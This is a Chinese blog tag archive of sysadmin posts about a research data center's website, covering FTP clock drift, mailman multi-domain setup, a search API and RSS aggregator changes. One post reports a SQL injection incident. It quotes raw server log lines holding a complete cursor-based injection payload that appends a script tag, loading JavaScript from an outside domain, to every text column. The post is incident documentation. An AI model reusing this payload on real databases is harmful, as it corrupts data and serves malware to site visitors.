2012 年二月 一 二 三 四 五 六 日 « 一 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 近期评论
- wlx [微博 ] 发表在《google彻底被封?》
- snake 发表在《google彻底被封?》
- Andrew Pelt 发表在《debian testing上安装oracle 10g》
- tiplip 发表在《webmap.cn使用的WEBGIS技术》
- 求助Evolution问题!! 发表在《evolution crashed in gutsy alpha》
分类目录
标签
anjuta apache backup breezy c++ compile convert dapper debian dns edgy evolution feisty firefox flash gnome gobang GRASS gutsy humor intrepid Linux mailman MapServer mysql openoffice Oracle php phpbb postfix PostGIS postgresql qgis sarge scim skype subversion svn tomcat ubuntu utf8 westdc Windows wordpress 中文
Tag Archives: westdc
诡异的问题:时间不同步导致FTP用户地址丢失
数据中心的FTP在设计时采用每小时更新的方式,即用户控制在A服务器上,FTP SERVER在B服务器上,最近发现有用户通过申请后得不到数据下载地址。 逐步排查后没有发现任何问题,后来仔细看了cron列表,同步控制信息是在B服务器上每小时的58分左右进行,但B服务器快了2分钟,导致B服务器上的58分=A服务器上的00分,这样就错过了用户控制信息! 最终发现B服务器上没有安装时间同步进程: sudo apt-get install ntp 这样应该就能解决问题了!
数据中心网站被SQL注入
昨天晚上李老师打电话过来,发现西部数据中心访问有问题。 经仔细检查,发现网站已经被SQL注入了,SQL Server中所有字符串字段都被添加了尾巴,指向了一个病毒网站。 再次检查,发现最近的一次数据库完整备份是在年前了,而此期间又注册了很多新用户,因此只能手工清理了。 这里主要是利用了SQL Server中的replace函数: update table set f1=replace(f1,’xxx’,”) 手工清理了所有表中的相关字段,这是个体力活。在清理过程中还发现了membership表中居然有4个重复用户名,这个错误检查了3-4个小时才发现,晕。 log记录显示了如何注入的: 6985 210.77.68.241 GET /dataservices/fullmetadata.aspx id={616cf641-13dc-4f2a-ae40-6a4d8f42ddc6};dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe=’u’%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec(‘UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=['%2b@c%2b']%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536362537352536332536422537352537352532452537352537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))’)%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;– 80 – 218.246.32.206 Mozilla/4.0 302 0 0 2008-05-27 00:08:02 W3SVC1565836985 210.77.68.241 GET /dataservices/fullmetadata.aspx id={616cf641-13dc-4f2a-ae40-6a4d8f42ddc6}’;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe=’u’%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec(‘UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=['%2b@c%2b']%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536362537352536332536422537352537352532452537352537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))’)%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;– 80 – 218.246.32.206 Mozilla/4.0 302 0 0 2008-05-27 00:08:03 … Continue reading
调用westdc的搜索功能
如何调用westdc的搜索功能? WESTDC的搜索地址为:http://westdc.westgis.ac.cn/DataServices/SearchMetadata.aspx 而参数的传递方法可以使用GET,也可以使用POST。 具体参数包括: q, 全文搜索的关键词 e, 经度(东) w, 经度(西) s, 纬度(南) n, 纬度(北) 比如,使用get方法的时候,您可以直接调用: http://westdc.westgis.ac.cn/DataServices/SearchMetadata.aspx?q=沙漠&e=100&w=50&s=50&n=70 也可以使用POST方法调用,代码如下: <html xmlns=”http://www.w3.org/1999/xhtml”> <head> <meta http-equiv=”content-type” content=”text/html; charset=UTF-8″ /> </head> <body> <form action=”http://westdc.westgis.ac.cn/DataServices/SearchMetadata.aspx” method=”post” name=”form1″> <input type=”text” name=”q”> <input type=”submit” value=”submit”> </form> </body> </html> … Continue reading
phpbb 3.0 rc1发布
终于发布RC1了,而且开始提供升级支持了,也开始接受语言包和MOD了。 Hello, We are very pleased to announce the availability of the phpBB3 RC1 package. This is the first release candidate which is meant to become the Gold release if no more bugs or problems arise. Of course there may … Continue reading
mailman中使用postfix建立多域
mailman: 2.1.9 debian etch 服务器上很早就搭建了postfix和mailman服务,但后来又产生新要求,要求mailman中再添加一个域名。原来做过多次尝试,一直未果。 今天把服务器升级为etch,顺便把x和gnome都干掉了。然后想看看这个问题能不能解决,就又试验起来了。 http://www.python.org/cgi-bin/faqw-mm.py?query=virtual+domain&querytype=simple&casefold=yes&req=search 开始都是以为要查询virtual domain,进入了误区,结果一直无解。 官方文档:http://www.gnu.org/software/mailman/mailman-install/node13.html 看了上面的文档后,又实验了多种配置,还是有问题,发到新邮件列表的信一直自动转发到老邮件列表上,导致查无此人。 Reporting-MTA: dns; debian.westgis.ac.cn Received-From-MTA: smtp; debian.westgis.ac.cn ([127.0.0.1]) Arrival-Date: Sat, 30 Dec 2006 12:09:02 +0800 (CST) Original-Recipient: rfc822;westdc@lists.westgis.ac.cn Final-Recipient: rfc822;westdc@list.cngis.org Action: failed Status: 5.1.1 Remote-MTA: dns; 127.0.0.1 Diagnostic-Code: smtp; 550 … Continue reading
js调用moonmoon
在前面的基础上进行的修改,这样就可以跨域进行调用。 title.tpl.php <?php $all_items = &$Planet->getItems(); $current_date = date(‘d/m/Y’, time()); ?> var title=’<div id=”content”><h2>Today</h2><ul class=”cheese”>’; <?php foreach ($all_items as $item): ?> <?php if (($item_date = date(‘d/m/Y’,$item->getDate())) != $current_date){ $current_date = $item_date; $t=’</ul>’; $t.=’<h2>’.$item_date.’</h2>’; $t.=’<ul>’; echo ‘title+=”‘.$t.’”;’; } ?> <?php $owner … Continue reading
moonmoon的修改
为了可以更好的给其他网站调用,对现在的moonmoon进行了一定的修改,使之可以通过js进行调用,也可以直接通过页面调用。 1. index.php 添加了: elseif (array_key_exists(‘type’, $_GET) && $_GET['type'] == ‘title’){ //Serve full cache content header(‘Content-type: text/html; charset=UTF-8′); if (!OutputCache::Start(‘title’, $first_item_url, $output_cache)) { include_once(dirname(__FILE__).’/custom/tpl/title.tpl.php’); OutputCache::End(); } } elseif (array_key_exists(‘type’, $_GET) && $_GET['type'] == ‘content’){ //Serve full cache content header(‘Content-type: text/html; … Continue reading
RSS聚合程序
数据中心的BLOG系统采用RSS聚合程序,可以使个人还保留自己独立的BLOG系统。 目前最常用的是planetplanet系统,但是其是基于python开发的,而目前团队里还没有人了解python,因此就选择了moonmoon系统,虽然系统简陋一点,版本是0.2beta,但功能还是齐全的,开发语言是php。 tong的blog是msn space,而msn space目前还不支持基于分类的feed,因此只能进行代码端的定制。 修改app/classes/Planet.class.php文件,在286行附近添加一行: if (strpos($person->website,”spaces.live.com”)===false || $item->get_category()==”westdc”) 这样就可以专门针对msn space的blog系统,提取固定分类的日志,如我这里提取的就是westdc分类。 剩下的工作就是对界面的定制,使其和整个系统一致。